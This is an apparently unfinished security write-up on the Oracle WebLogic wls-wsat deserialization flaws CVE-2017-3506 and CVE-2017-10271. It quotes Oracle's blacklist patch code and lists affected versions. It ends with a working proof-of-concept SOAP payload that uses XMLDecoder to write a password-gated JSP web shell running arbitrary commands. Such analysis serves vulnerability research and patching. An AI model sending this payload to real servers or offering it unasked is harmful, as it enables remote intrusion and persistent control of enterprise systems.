
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
In the early days, hackers exploited the WLS component vulnerability of WebLogic to launch large-scale remote attacks against enterprise servers. A large number of enterprise servers were compromised, and the number of attacked enterprises showed a clear upward trend, which requires high attention. Among them, CVE-2017-3506 is a remote code execution vulnerability using the WLS component in Oracle WebLogic. It is a wild exploitation vulnerability without public details, and many enterprises have not yet installed the patch in time. The official patch for this vulnerability was released in April 2017.
CVE-2017-3506 patch description:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
It only adds a validate function before deserialization. If qName equals "object", it throws an exception and terminates. It is simple and crude. However, this kind of blacklist fix is difficult to completely repair the vulnerability. Worth pondering...
The exploitation method for this vulnerability is relatively simple. An attacker only needs to send a carefully crafted HTTP request to gain access to the target server, which is extremely harmful. Because the vulnerability is relatively new, there are still many hosts that have not updated the relevant patches. It is expected that after this sudden incident, the number of attack incidents may surge, and a large number of new hosts may be compromised.
The official patch from Oracle in April did not completely fix CVE-2017-3506. The patch could be bypassed, allowing remote commands to still be executed. CVE-2017-10271 is a bypass vulnerability that was fixed in the official patch released in October.
CVE-2017-3506 (wls-wsat remote command execution vulnerability) CVE-2017-10271 (wls-wsat remote command execution bypass vulnerability)
Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
Not finished, had to go out...